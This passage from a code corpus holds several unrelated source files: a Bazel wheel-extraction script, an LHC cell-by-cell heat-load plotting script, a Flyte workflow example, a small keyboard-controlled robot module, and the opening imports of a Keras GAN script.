need to consider.\n\n rules-python automatically adds the repository root to the PYTHONPATH, meaning a package that has the same name as\n a module is picked up. We workaround this by prefixing with `pypi__`. Alternatively we could require\n `--noexperimental_python_import_all_repositories` be set, however this breaks rules_docker.\n See: https://github.com/bazelbuild/bazel/issues/2636\n\n Due to restrictions on Bazel labels we also cannot allow hyphens. See https://github.com/bazelbuild/bazel/issues/6841\n \"\"\"\n \n return \"pypi__\" + name.replace(\"-\", \"_\").replace(\".\", \"_\").lower()\n\n\ndef _setup_namespace_pkg_compatibility(extracted_whl_directory):\n \"\"\"\n Namespace packages can be created in one of three ways. They are detailed here:\n https://packaging.python.org/guides/packaging-namespace-packages/#creating-a-namespace-package\n\n 'pkgutil-style namespace packages' (2) works in Bazel, but 'native namespace packages' (1) and\n 'pkg_resources-style namespace packages' (3) do not.\n\n We ensure compatibility with Bazel of methods 1 and 3 by converting them into method 2.\n \"\"\"\n namespace_pkg_dirs = namespace_pkgs.pkg_resources_style_namespace_packages(\n extracted_whl_directory\n )\n if not namespace_pkg_dirs and namespace_pkgs.native_namespace_packages_supported():\n namespace_pkg_dirs = namespace_pkgs.implicit_namespace_packages(\n extracted_whl_directory,\n ignored_dirnames=[f\"{extracted_whl_directory}/bin\",],\n )\n\n for ns_pkg_dir in namespace_pkg_dirs:\n namespace_pkgs.add_pkgutil_style_namespace_pkg_init(ns_pkg_dir)\n\n\ndef extract_wheel(whl, directory, extras):\n \"\"\"\n Unzips a wheel into the Bazel repository and prepares it for use by Python rules.\n\n :param whl: the Wheel object we are unpacking\n :param directory: the subdirectory of the external repo to unzip to\n :param extras: list of extras that we want to create targets for\n \"\"\"\n\n whl.unzip(directory)\n\n _setup_namespace_pkg_compatibility(directory)\n name, extras = extract_extra(whl.name())\n with open(os.path.join(directory, \"BUILD\"), \"w\") as f:\n f.write(\n BUILD_TEMPLATE.format(\n name=sanitise_name(name),\n dependencies=\",\".join(\n # Python libraries cannot have hyphen https://github.com/bazelbuild/bazel/issues/9171\n [\n '\"//%s\"' % sanitise_name(d)\n for d in sorted(whl.dependencies(extras_requested=extras))\n ]\n ),\n )\n )\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Resolve and fetch artifacts transitively from PyPI\"\n )\n parser.add_argument(\n \"--requirements\",\n action=\"store\",\n help=\"Path to requirements.txt from where to install dependencies\",\n )\n parser.add_argument(\n \"--repo\",\n action=\"store\",\n help=\"The external repo name to install dependencies.\",\n )\n args = parser.parse_args()\n\n # Assumes any errors are logged by pip so do nothing. This command will fail if pip fails\n subprocess.check_output(\n [sys.executable, \"-m\", \"pip\", \"wheel\", \"-r\", args.requirements]\n )\n\n targets = set()\n\n for whl in [wheel.Wheel(whl) for whl in glob.glob(\"*.whl\")]:\n name, _ = extract_extra(whl.name())\n subprocess.check_output(\n [sys.executable, \"-m\", \"wheel\", \"install-scripts\", whl.name+\".whl\"]\n )\n \n whl_label = sanitise_name(name)\n os.mkdir(whl_label)\n extract_wheel(whl, whl_label, [])\n targets.add('\"{repo}//{name}\"'.format(repo=args.repo, name=whl_label))\n os.remove(whl.path())\n\n with open(\"requirements.bzl\", \"w\") as f:\n f.write(\n \"\"\"\\\nall_requirements = [{requirement_labels}]\n\ndef requirement(name):\n name_key = name.replace(\"-\", \"_\").replace(\".\", \"_\").lower()\n return \"{repo}//pypi__\" + name_key\n\"\"\".format(\n requirement_labels=\",\".join(sorted(targets)), repo=args.repo\n )\n )\n","sub_path":"src/extract_wheels.py","file_name":"extract_wheels.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"351972528","text":"import sys, time, os\nimport LHCMeasurementTools.TimberManager as tm\nimport LHCMeasurementTools.SetOfHomogeneousVariables as shv\nimport LHCMeasurementTools.LHC_Heatloads as hl\nimport LHCMeasurementTools.mystyle as ms\nimport scipy.stats as stats\n\nfrom data_folders import data_folder_list, recalc_h5_folder\n\nimport GasFlowHLCalculator.qbs_fill as qf\nfrom GasFlowHLCalculator.h5_storage import H5_storage\nfrom LHCMeasurementTools.LHC_Fill_LDB_Query import load_fill_dict_from_json\n\nimport cell_by_cell_plot_helpers as cch\n\nimport argparse\nimport pickle\nimport numpy as np\nimport pylab as plt\n\n\n\n# defaults\nt_offset_h = None\nmin_hl_scale = None\nmax_hl_scale = None\ntagfname = ''\n\n\n# parse arguments\nparser = argparse.ArgumentParser(epilog='Example: 002b_bar_plot_per_sector_multiple_fills.py --at filln:5108!t_h:2.5!t_offs_h:0.05 filln:5108!t_h:3.5!t_offs_h:0.05')\nparser.add_argument('-o', help='Save plots on disk.', action='store_true')\nparser.add_argument('--savein', help='Specify folder to save the output', default='cell_by_cell_plots')\nparser.add_argument('--fromcsv', help='Load heatloads from csvs. By default, use recalculated.', action='store_true')\nparser.add_argument('--min-hl-scale', help='Minimum of plot.', type=float)\nparser.add_argument('--max-hl-scale', help='Maximum of plot.', type=float)\nparser.add_argument('--no-plot-model', help='Plot imp. SR contribution to heat loads.', action='store_true')\nparser.add_argument('--tag', help='Tag of plot windows.', default='')\nparser.add_argument('-v', help='Verbose.', action='store_true')\nparser.add_argument('--legend', help='Plot a legend for Imp/SR', action='store_true')\nparser.add_argument('--normtointensity', help='Normalize to beam intensity', action='store_true')\nparser.add_argument('--first-cell', help='First cell to be plotted', type=float, default=11)\nparser.add_argument('--minhist', help='Minimum in histogram scales', type=float)\nparser.add_argument('--maxhist', help='Minimum in histogram scales', type=float)\n\n\nparser.add_argument('--at', help=\"Snapshots in the form: filln:5108!t_h:2.5!t_offs_h:0.05 filln:5108!t_h:3.5!t_offs_h:0.05\", nargs='+')\n\n\n\n\nargs = parser.parse_args()\n\nif args.min_hl_scale:\n min_hl_scale = args.min_hl_scale\nif args.max_hl_scale:\n max_hl_scale = args.max_hl_scale\nif args.tag:\n tagfname = args.tag\n\nplot_model = not args.no_plot_model\n\nfrom_csv = args.fromcsv\nnormtointen = args.normtointensity\n\n\n#histogram parameters\nif not normtointen:\n minhist = -5\n maxhist = 300\n nbinhist = 20\n distr_bw = 10\nelse:\n minhist = -.2e-13\n maxhist = 300/6e14\n nbinhist = 20\n distr_bw = 10/6e14\n\nif args.maxhist:\n maxhist = args.maxhist\n\nif args.minhist:\n minhist = args.minhist\n\ntry:\n import locale\n locale.setlocale(locale.LC_TIME, 'en_US')\nexcept Exception as err:\n print('\\nDid not manage to set locale. Got:')\n print(err)\n\n\n\n# build snapshots dicts\nsnapshots = []\nfor strin in args.at:\n dd = {}\n for ss in strin.split('!'):\n kk, value=ss.split(':')\n if kk=='filln':\n dd[kk] = int(value)\n elif kk=='t_h' or kk=='t_offs_h':\n dd[kk] = float(value)\n else:\n raise ValueError(\"Input not recognized\\n\"+strin)\n\n if 't_offs_h' not in list(dd.keys()):\n dd['t_offs_h'] = None\n\n snapshots.append(dd)\n\n\n\n# merge jsons and add info on location\ndict_fill_bmodes={}\nfor df in data_folder_list:\n this_dict_fill_bmodes = load_fill_dict_from_json(\n df+'/fills_and_bmodes.json')\n for kk in this_dict_fill_bmodes:\n this_dict_fill_bmodes[kk]['data_folder'] = df\n dict_fill_bmodes.update(this_dict_fill_bmodes)\n\n\nN_snapshots = len(snapshots)\n\nfor i_snapshot in range(N_snapshots):\n\n filln = snapshots[i_snapshot]['filln']\n t_sample_h = snapshots[i_snapshot]['t_h']\n t_offset_h = snapshots[i_snapshot]['t_offs_h']\n\n if from_csv:\n fill_file = 'fill_heatload_data_csvs/hl_all_cells_fill_%d.csv'%filln\n hid = tm.parse_timber_file(fill_file, verbose=args.v)\n else:\n hid = qf.get_fill_dict(filln, h5_storage=H5_storage(recalc_h5_folder))\n\n # get location of current data\n data_folder_fill = dict_fill_bmodes[filln]['data_folder']\n t_fill_st = dict_fill_bmodes[filln]['t_startfill']\n t_fill_end = dict_fill_bmodes[filln]['t_endfill']\n t_ref=t_fill_st\n tref_string=time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime(t_ref))\n tref_string_short=time.strftime(\"%d %b %Y %H:%M\", time.localtime(t_ref))\n\n # extract standard fill data\n fill_dict = {}\n if os.path.isdir(data_folder_fill+'/fill_basic_data_csvs'):\n # 2016 structure\n fill_dict.update(tm.parse_timber_file(data_folder_fill\n +'/fill_basic_data_csvs/basic_data_fill_%d.csv'%filln,\n verbose=args.v))\n fill_dict.update(tm.parse_timber_file(data_folder_fill\n +'/fill_bunchbybunch_data_csvs/bunchbybunch_data_fill_%d.csv'%filln,\n verbose=args.v))\n elif os.path.isdir(data_folder_fill+'/fill_basic_data_h5s'):\n # 2016 structure\n fill_dict.update(tm.CalsVariables_from_h5(data_folder_fill\n +'/fill_basic_data_h5s/basic_data_fill_%d.h5'%filln,\n ))\n fill_dict.update(tm.CalsVariables_from_h5(data_folder_fill\n +'/fill_bunchbybunch_data_h5s/bunchbybunch_data_fill_%d.h5'%filln,\n ))\n else:\n raise ValueError('This mode is discontinued')\n # # 2015 structure\n # fill_dict.update(tm.parse_timber_file(data_folder_fill+'/fill_csvs/fill_%d.csv'%filln, verbose=args.v))\n\n #sample standard fill data at right moment\n intensity_b1, intensity_b2, bl_ave_b1, bl_ave_b2, n_bunches_b1, n_bunches_b2, energy_GeV, hl_imped_sample, hl_sr_sample = cch.extract_and_compute_extra_fill_data(fill_dict, t_ref, t_sample_h, thresh_bint=3e10)\n\n # extract heat load data\n dict_hl_cell_by_cell = cch.sample_and_sort_cell_by_cell(hid, t_ref=t_ref, t_sample_h=t_sample_h, t_offset_h=t_offset_h, first_cell=args.first_cell)\n\n snapshots[i_snapshot]['intensity_b1'] = intensity_b1\n snapshots[i_snapshot]['intensity_b2'] = intensity_b2\n snapshots[i_snapshot]['bl_ave_b1'] = bl_ave_b1\n snapshots[i_snapshot]['bl_ave_b2'] = bl_ave_b2\n snapshots[i_snapshot]['n_bunches_b1'] = n_bunches_b1\n snapshots[i_snapshot]['n_bunches_b2'] = n_bunches_b2\n snapshots[i_snapshot]['energy_GeV'] = energy_GeV\n snapshots[i_snapshot]['dict_hl_cell_by_cell'] = dict_hl_cell_by_cell\n snapshots[i_snapshot]['hl_imped_sample'] = hl_imped_sample\n snapshots[i_snapshot]['hl_sr_sample'] = hl_sr_sample\n snapshots[i_snapshot]['tref_string_short'] = tref_string_short\n\n if t_offset_h is None:\n snapshots[i_snapshot]['t_offs_h_str'] = '-'\n else:\n snapshots[i_snapshot]['t_offs_h_str'] = '%.2f'%snapshots[i_snapshot]['t_offs_h']\n\n# check consistency in cell naming\nfor i_snapshot in range(N_snapshots):\n for s in hl.sector_list():\n if len(snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]['cell_names'])!=len(snapshots[0]['dict_hl_cell_by_cell'][s]['cell_names']):\n raise ValueError('Found inconsistency type 1 in dict!')\n for c1, c2 in zip(snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]['cell_names'], snapshots[0]['dict_hl_cell_by_cell'][s]['cell_names']):\n if c1!=c2:raise ValueError('Found inconsistency type 2 in dict!')\n\n\n# Plots!\nplt.close('all')\nmyfontsz = 13\nms.mystyle_arial(fontsz=13,dist_tick_lab=3)\nif N_snapshots==1:\n width = 0.6\nelse:\n width = 0.8\nspshare = None\nspsharehist = None\ncolorlist = ['b','r','g']\ncolorleglist = ['#7F7FFF', '#FF7F7F', '#7FBF7F']\nx_hist = np.linspace(minhist, maxhist, 1000)\ny_list = []\nfiglist = []\n\nfor i, s in enumerate(hl.sector_list()):\n\n\n #single sector plot\n fig_sect = plt.figure(1000+i, figsize=(12,8.5), tight_layout=False)\n fig_sect.patch.set_facecolor('w')\n ax1_sect = plt.subplot2grid((2,2), (0,0), colspan=2, sharey=spshare)\n axhist = plt.subplot2grid((2,2), (1,0), colspan=1, sharey=spsharehist, sharex=spsharehist)\n spsharehist = axhist\n\n sptable = plt.subplot2grid((2,2), (1,1), colspan=1, sharey=spsharehist, sharex=spsharehist)\n\n spshare = ax1_sect\n\n\n y_list.append([])\n for i_snapshot in range(N_snapshots):\n\n this_hld = snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]\n cells = this_hld['cell_names']\n hl_cells = this_hld['heat_loads'].copy()\n\n # normalize to intensity\n if normtointen:\n totintnorm = (snapshots[i_snapshot]['intensity_b1']+snapshots[i_snapshot]['intensity_b2'])\n else:\n totintnorm = 1.\n\n if N_snapshots==1:\n if plot_model:\n if args.legend:\n label1, label2 = 'Imp', 'SR'\n else:\n label1, label2 = None, None\n\n hl_imped_t1 = snapshots[i_snapshot]['hl_imped_sample']\n hl_sr_t1 = snapshots[i_snapshot]['hl_sr_sample']\n\n ax1_sect.axhspan(ymin=0, ymax=hl_imped_t1/totintnorm, color='grey', alpha=0.5, label=label1)\n ax1_sect.axhspan(ymin=hl_imped_t1/totintnorm, ymax=(hl_imped_t1+hl_sr_t1)/totintnorm, color='green', alpha=0.5, label=label2)\n if args.legend:\n ax1_sect.legend(bbox_to_anchor=(1,1), loc='upper left')\n else:\n if plot_model:\n print('Info: the model line is plotted only when running with a single snapshot')\n\n if normtointen:\n hl_cells/= totintnorm\n\n ind = np.arange(len(cells))\n #alternating grey background\n if i_snapshot==0:\n for igrey in ind[1::2]:\n ax1_sect.axvspan(igrey-0.5, igrey+0.5, color='k', alpha=.1)\n\n #barplot\n #~ ax1_sect.bar(ind-width/2+i_snapshot*width/N_snapshots, hl_cells, width/N_snapshots,\n #~ color=colorleglist[i_snapshot], edgecolor=colorleglist[i_snapshot], linewidth = 0)\n ax1_sect.bar(ind-width/2+i_snapshot*width/N_snapshots, hl_cells, width/N_snapshots,\n color=colorlist[i_snapshot], alpha=.5)\n\n if normtointen:\n ax1_sect.set_ylabel('Norm. heat load [W/hc/p+]')\n else:\n ax1_sect.set_ylabel('Heat load [W/hc]')\n\n\n ax1_sect.set_ylim(min_hl_scale, max_hl_scale)\n\n ax1_sect.set_xticks(ind)\n ax1_sect.set_xticklabels(cells, rotation=90)\n\n ax1_sect.set_xlim(ind[0]-2*width, ind[-1]+2*width)\n\n fig_sect.subplots_adjust(left=.06, right=.96, top=0.9, hspace=0.35, bottom=0.07)\n\n ax1_sect.yaxis.grid(True)\n\n # histogram\n histval, binedges = np.histogram(hl_cells, bins=nbinhist, range=(minhist, maxhist))\n\n normhist = histval/(len(hl_cells)*np.mean(np.diff(binedges)))\n axhist.bar(x=binedges[:-1], width=np.diff(binedges), height=normhist,\n alpha=0.5, color=colorlist[i_snapshot], edgecolor='none',\n align='edge')\n\n if normtointen:\n axhist.set_xlabel('Norm. heat load [W/hc/p+]')\n else:\n axhist.set_xlabel('Heat load [W/hc]')\n axhist.set_ylabel('Normalized distribution')\n\n import statsmodels.api as sm\n mask_nan = ~np.isnan(hl_cells)\n obstat = sm.nonparametric.KDEUnivariate(hl_cells[mask_nan])\n obstat.fit()\n obstat.fit(bw=distr_bw)\n density = obstat.evaluate\n tempy = density(x_hist)\n axhist.plot(x_hist, tempy, linewidth=3, color=colorlist[i_snapshot], alpha=0.8)\n axhist.grid('on')\n axhist.set_xlim(minhist, maxhist)\n axhist.ticklabel_format(style='sci', scilimits=(0,0),axis='y')\n\n y_list[-1].append(tempy)\n\n to_table = []\n to_table.append(['Fill'] + ['%d'%snapshots[i_snapshot]['filln'] for i_snapshot in range(N_snapshots)])\n to_table.append(['Started on'] + [snapshots[i_snapshot]['tref_string_short'] for i_snapshot in range(N_snapshots)])\n to_table.append(['T_sample [h]'] + ['%.2f'%snapshots[i_snapshot]['t_h'] for i_snapshot in range(N_snapshots)])\n to_table.append(['Energy [GeV]'] + ['%.0f'%(snapshots[i_snapshot]['energy_GeV']) for i_snapshot in range(N_snapshots)])\n to_table.append(['N_bunches (B1/B2)'] + ['%d/%d'%(snapshots[i_snapshot]['n_bunches_b1'],snapshots[i_snapshot]['n_bunches_b2']) for i_snapshot in range(N_snapshots)])\n to_table.append(['Intensity (B1/B2) [p]'] + [('%.2e/%.2e'%(snapshots[i_snapshot]['intensity_b1'],snapshots[i_snapshot]['intensity_b2'])).replace('+', '') for i_snapshot in range(N_snapshots)])\n to_table.append(['Bun.len. (B1/B2) [ns]'] + ['%.2f/%.2f'%(snapshots[i_snapshot]['bl_ave_b1']/1e-9,snapshots[i_snapshot]['bl_ave_b2']/1e-9) for i_snapshot in range(N_snapshots)])\n to_table.append(['H.L. S%d (avg) [W]'%s] + ['%.2f' %(np.nanmean(snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]['heat_loads'])) for i_snapshot in range(N_snapshots)])\n to_table.append(['H.L. S%d (std) [W]'%s] + ['%.2f' %(np.nanstd(snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]['heat_loads'])) for i_snapshot in range(N_snapshots)])\n to_table.append(['H.L. exp. imped. [W]'] + ['%.2f' %(snapshots[i_snapshot]['hl_imped_sample']) for i_snapshot in range(N_snapshots)])\n to_table.append(['H.L. exp. synrad [W]'] + ['%.2f' %( snapshots[i_snapshot]['hl_sr_sample']) for i_snapshot in range(N_snapshots)])\n to_table.append(['T_nobeam [h]'] + [snapshots[i_snapshot]['t_offs_h_str'] for i_snapshot in range(N_snapshots)])\n\n\n sptable.axis('tight')\n sptable.axis('off')\n table = sptable.table(cellText=to_table,loc='center', cellLoc='center', colColours=['w']+colorleglist[:N_snapshots])\n table.scale(1,1.5)\n table.auto_set_font_size(False)\n table.set_fontsize(myfontsz-1)\n fig_sect.suptitle('Sector %d, %d cells, %s'%(s, len(cells), {False:'recalc. values', True:'DB values'}[from_csv]))\n figlist.append(fig_sect)\n\n\n\n# Violin plot\nplt.close(1);\nfigviol = plt.figure(1, figsize=(12,8.5))\nfigviol.set_facecolor('w')\naxviol = plt.subplot2grid((2,3), (0,0), colspan=3)\nmaxdistr = np.max(np.array(y_list)[:])\nfor i_snapshot, col_snsh, sign_shsh in zip([0,1], ['b', 'r'], [-1., 1.]):\n\n if i_snapshot >= N_snapshots:\n continue\n\n # normalize to intensity\n if normtointen:\n totintnorm = (snapshots[i_snapshot]['intensity_b1']+snapshots[i_snapshot]['intensity_b2'])\n else:\n totintnorm = 1.\n\n axviol.plot(2*[18+0.1*sign_shsh], [-50,(snapshots[i_snapshot]['hl_imped_sample']+snapshots[i_snapshot]['hl_sr_sample'])/totintnorm],\n '.-', color=col_snsh, linewidth=2, markersize=10)\n\n\n for i, s in enumerate(hl.sector_list()):\n #~ print i, i_snapshot\n axviol.fill_betweenx(y=x_hist, x1=sign_shsh*y_list[i][i_snapshot]/maxdistr*0.9+2*(i+1), x2 = 2*(i+1),\n color=col_snsh, alpha=0.5)\n\n axviol.plot([2*(i+1)], [np.nanmean(snapshots[i_snapshot]['dict_hl_cell_by_cell'][s]['heat_loads'])/totintnorm],\n '.-', markersize=10, color=col_snsh)\naxviol.grid('on')\n\naxviol.set_xticks(2*(np.arange(9)+1))\naxviol.set_xticklabels(['Arc %d'%s for s in hl.sector_list()]+['Impedance\\n+Synch. rad.'])\n\nif normtointen:\n axviol.set_ylabel('Norm. heat load [W/hc/p+]')\nelse:\n axviol.set_ylabel('Heat load [W/hc]')\n\n\naxviol.set_ylim(min_hl_scale, max_hl_scale)\naxviol.set_xlim(1,19)\n\n\nto_table = []\nto_table.append(['Fill'] + ['%d'%snapshots[i_snapshot]['filln'] for i_snapshot in range(N_snapshots)])\nto_table.append(['Started on'] + [snapshots[i_snapshot]['tref_string_short'] for i_snapshot in range(N_snapshots)])\nto_table.append(['T_sample [h]'] + ['%.2f'%snapshots[i_snapshot]['t_h'] for i_snapshot in range(N_snapshots)])\nto_table.append(['Energy [GeV]'] + ['%.0f'%(snapshots[i_snapshot]['energy_GeV']) for i_snapshot in range(N_snapshots)])\nto_table.append(['N_bunches (B1/B2)'] + ['%d/%d'%(snapshots[i_snapshot]['n_bunches_b1'],snapshots[i_snapshot]['n_bunches_b2']) for i_snapshot in range(N_snapshots)])\nto_table.append(['Intensity (B1/B2) [p]'] + [('%.2e/%.2e'%(snapshots[i_snapshot]['intensity_b1'],snapshots[i_snapshot]['intensity_b2'])).replace('+', '') for i_snapshot in range(N_snapshots)])\nto_table.append(['Bun.len. (B1/B2) [ns]'] + ['%.2f/%.2f'%(snapshots[i_snapshot]['bl_ave_b1']/1e-9,snapshots[i_snapshot]['bl_ave_b2']/1e-9) for i_snapshot in range(N_snapshots)])\nto_table.append(['H.L. exp. imped. [W]'] + ['%.2f' %(snapshots[i_snapshot]['hl_imped_sample']) for i_snapshot in range(N_snapshots)])\nto_table.append(['H.L. exp. synrad [W]'] + ['%.2f' %( snapshots[i_snapshot]['hl_sr_sample']) for i_snapshot in range(N_snapshots)])\nto_table.append(['H.L. exp. imp.+SR [W/p+]'] + ['%.2e' %((snapshots[i_snapshot]['hl_imped_sample']+snapshots[i_snapshot]['hl_sr_sample'])/(snapshots[i_snapshot]['intensity_b1']+snapshots[i_snapshot]['intensity_b2'])) for i_snapshot in range(N_snapshots)])\nto_table.append(['T_nobeam [h]'] + [snapshots[i_snapshot]['t_offs_h_str'] for i_snapshot in range(N_snapshots)])\n\n\nsptable = plt.subplot2grid((2,3), (1,0), colspan=3)\nsptable.axis('tight')\nsptable.axis('off')\ntable = sptable.table(cellText=to_table,loc='center', cellLoc='center', colColours=['w']+colorleglist[:N_snapshots])\ntable.scale(1,1.5)\ntable.auto_set_font_size(False)\ntable.set_fontsize(myfontsz-1)\n\nfigviol.suptitle('%s'%({False:'recalc. values', True:'DB values'}[from_csv]))\n\n\n# Polar plot\nlist_figpol = []\nfor i_sn in range(N_snapshots):\n figpol = plt.figure(2000+i_sn, figsize=(6.4*1.8, 4.8*1.8))\n figpol.set_facecolor('w')\n axpol = figpol.add_subplot(111, projection='polar')\n\n # I concatenate the heat loads taking into account that \n # the polar plot starts from the first quadrant and moves counterclockwise\n all_hl = np.concatenate([snapshots[i_sn]['dict_hl_cell_by_cell'][ss]['heat_loads'][::-1]\n for ss in [67, 56, 45, 34, 23, 12, 81, 78] ])\n all_hl[all_hl>max_hl_scale] = max_hl_scale\n all_hl[all_hl<0] = np.nan\n thetapol = np.linspace(0, 2*np.pi, len(all_hl))\n axpol.plot(thetapol, all_hl, color=colorlist[i_sn],\n lw=1.5, label='Fill %d'%snapshots[i_sn]['filln'])\n\n axpol.set_rmin(0.)\n if max_hl_scale is not None:\n axpol.set_rmax(max_hl_scale)\n axpol.set_rticks(np.arange(30, max_hl_scale+1, 30))\n axpol.grid(linestyle='-', color='grey', alpha=.5)\n # axpol.set_rlabel_position(-22.5)\n\n axpol.set_xticks(np.arange(0, 2*np.pi-0.1, np.pi/4))\n axpol.set_xticklabels(['P%d'%ip for ip in [7, 6, 5, 4, 3, 2, 1, 8]])\n\n # axpol.plot(thetapol, all_hl*0+90/2., color='darkseagreen', linestyle='--', lw=1.5)\n # axpol.plot(thetapol, all_hl*0+160/2., color='darkgreen', linestyle='--', lw=1.5)\n\n axpol.legend(frameon=False)\n\n list_figpol.append(figpol)\n\nif args.o:\n\n str_file = 'multiple_'\n for i_snapshot, snapshot in enumerate(snapshots):\n str_file += 'fill%dat%.2fh_'%(snapshot['filln'], snapshot['t_h'])\n\n folname = args.savein+'/cellbycell_%s_%s'%(str_file, tagfname)\n\n if not os.path.exists(folname):\n os.mkdir(folname)\n\n if normtointen:\n str_file+='hlnorm'\n else:\n str_file+='hl'\n\n for fig, s in zip(figlist, hl.sector_list()):\n fig.savefig(folname+'/cellbycell_%s_%s_sector%d.png'%(str_file, tagfname, s), dpi=200)\n\n figviol.savefig(folname+'/cellbycell_%s_%s_distrib.png'%(str_file, tagfname), dpi=200)\n\n for sector in hl.sector_list():\n fname = folname+'/cellbycell_%s_%s_sector%d.csv'%(str_file, tagfname, sector)\n with open(fname, 'w') as fid:\n fid.write('cell'+''.join([',snapshot%d'%isnap for isnap in range(len(snapshots))])+'\\n')\n for i_cell, cell in enumerate(snapshots[0]['dict_hl_cell_by_cell'][sector]['cell_names']):\n fid.write(cell+''.join([',%.1e'%snapshots[isnap]['dict_hl_cell_by_cell'][sector]['heat_loads'][i_cell] for isnap in range(len(snapshots))])+'\\n')\n\n fname = folname+'/cellbycell_%s_%s_generalinfo.txt'%(str_file, tagfname)\n with open(fname, 'w') as fid:\n for llll in to_table:\n fid.write('\\t'.join(llll)+'\\n')\n\n import pickle\n fnamepkl = folname+'/cellbycell_%s_%s.pkl'%(str_file, tagfname)\n with open(fnamepkl, 'wb') as fid:\n pickle.dump(snapshots, fid)\n\n\n def default(obj):\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n raise TypeError('Not serializable')\n\n import json\n fnamejson = folname+'/cellbycell_%s_%s.json'%(str_file, tagfname)\n with open(fnamejson, 'w') as fid:\n json.dump(snapshots, fid, default=default)\n\n\nplt.show()\n\n","sub_path":"002b_bar_plot_per_sector_multiple_fills.py","file_name":"002b_bar_plot_per_sector_multiple_fills.py","file_ext":"py","file_size_in_byte":20473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"297094420","text":"#\n#%%\nimport datetime\nimport urllib.request as _request\nimport pandas as pd\nfrom flytekit.models.launch_plan import LaunchPlanState\nfrom flytekit.common import utils, schedules\nfrom flytekit.sdk.tasks import python_task, outputs, inputs\nfrom flytekit.sdk.types import Types\nfrom flytekit.sdk.workflow import workflow_class, Output, Input\nfrom hyperopt import fmin, hp, tpe, rand \n\n@inputs(input_string=Types.String)\n@outputs(output_string=Types.String)\n@python_task\ndef uppercase_task(wf_params,input_string,output_string):\n output_string.set(input_string.upper())\n\n@inputs(input_string=Types.String)\n@outputs(rev_output_string=Types.String)\n@python_task\ndef reverse_task(wf_params,input_string,rev_output_string):\n myoutput = input_string\n myoutput = myoutput[::-1]\n rev_output_string.set(myoutput)\n\n\n@inputs(dataset=Types.CSV)\n@outputs(out=Types.Blob)\n@python_task\ndef download_dataset(wf_params,dataset,out):\n dataset.download()\n wf_params.logging.info(dataset.local_path)\n df = pd.read_csv(dataset.local_path)\n wf_params.logging.info(df.head())\n with utils.AutoDeletingTempDir('test') as tmpdir:\n df.to_pickle(tmpdir.name + '/dataset.pkl')\n out.set(tmpdir.name + '/dataset.pkl')\n\n \n\n@inputs(dataset=Types.Blob)\n@outputs(csv_head=Types.String)\n@python_task\ndef read_pickle(wf_params,dataset,csv_head):\n dataset.download()\n unpickled_df = pd.read_pickle(dataset.local_path)\n wf_params.logging.info(type(unpickled_df))\n csv_head.set(unpickled_df.head().to_string())\n\n\n\n@workflow_class\nclass myworkflow(object):\n csv_url = \"https://www.stats.govt.nz/assets/Uploads/Annual-enterprise-survey/Annual-enterprise-survey-2018-financial-year-provisional/Download-data/annual-enterprise-survey-2018-financial-year-provisional-csv.csv\"\n string_in = Input(Types.String, required=True, help=\"input string\")\n dataset = Input(Types.CSV, default=Types.CSV.create_at_known_location(\n csv_url),\n help=\"A CSV File\")\n\n return_dataset = download_dataset(dataset=dataset)\n return_pickle = read_pickle(dataset=return_dataset.outputs.out)\n upper_out = uppercase_task(input_string=string_in)\n reversed_out = reverse_task(input_string=upper_out.outputs.output_string)\n myoutput = Output(return_pickle.outputs.csv_head, sdk_type=Types.String)\n mystringoutput = Output(reversed_out.outputs.rev_output_string, sdk_type=Types.String)\n","sub_path":"fk_tasks/tasks_and_workflow.py","file_name":"tasks_and_workflow.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"531883446","text":"from interface.fenetre import*\nimport math as m\n\ndef clavier(event):\n \"\"\"Cette fonction reçoit les touches appuyé par l'utilisateur et effectue des actions pour certaines d'entre elles.\n :param event: flèche recu\n -Touche Up permet d'augmenter la vitesse\n -Touche Down permet baisser la vitesse\n -Touche Right permet de faire tourner le robot a droite\n -Touche Left permet de faire tourner le robot a gauche\n \"\"\"\n touche=event.keysym\n #print(touche)\n if touche =='Up':\n f.z.vitesse=f.z.vitesse+1\n if touche =='Down':\n f.z.vitesse=f.z.vitesse-1\n if touche =='Left':\n f.p.changer_angle(m.pi/10)\n f.z.dessiner()\n if touche =='Right':\n f.p.changer_angle(-m.pi/10)\n f.z.dessiner()\n","sub_path":"projet/modele/controler.py","file_name":"controler.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"212802417","text":"import os,random\r\nos.environ[\"KERAS_BACKEND\"] = \"tensorflow\"\r\n#os.environ[\"THEANO_FLAGS\"] = \"device=gpu%d,lib.cnmem=0\"%(random.randint(0,3))\r\nimport numpy as np\r\nimport theano as th\r\nimport theano.tensor as T\r\nfrom keras.utils import np_utils\r\nimport keras.models as models\r\nfrom keras.layers import Input,merge\r\nfrom keras.layers.core import Reshape,Dense,Dropout,Activation,Flatten, Lambda\r\nfrom keras.layers.advanced_activations import LeakyReLU\r\nfrom keras.activations import *\r\nfrom keras.layers.wrappers import TimeDistributed\r\nfrom keras.layers.noise import GaussianNoise\r\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D, ZeroPadding2D, UpSampling2D, AveragePooling2D, Deconvolution2D\r\nfrom keras.layers.recurrent import LSTM\r\nfrom keras.layers.normalization import BatchNormalization\r\nfrom keras.regularizers import *\r\nfrom keras.layers.normalization import *\r\nfrom keras.optimizers import *\r\nfrom keras.datasets import mnist\r\nimport matplotlib.pyplot as plt\r\n#import seaborn as sns\r\nimport cPickle, random, sys, keras\r\nfrom keras.models import Model\r\n#from IPython import display\r\nfrom keras.utils import np_utils\r\nfrom tqdm import tqdm\r\nimport keras.backend as K\r\nimport pickle\r\nimport sys\r\nimport math\r\nimport tensorflow as tf\r\nfrom keras.utils import generic_utils\r\nfrom keras.utils import 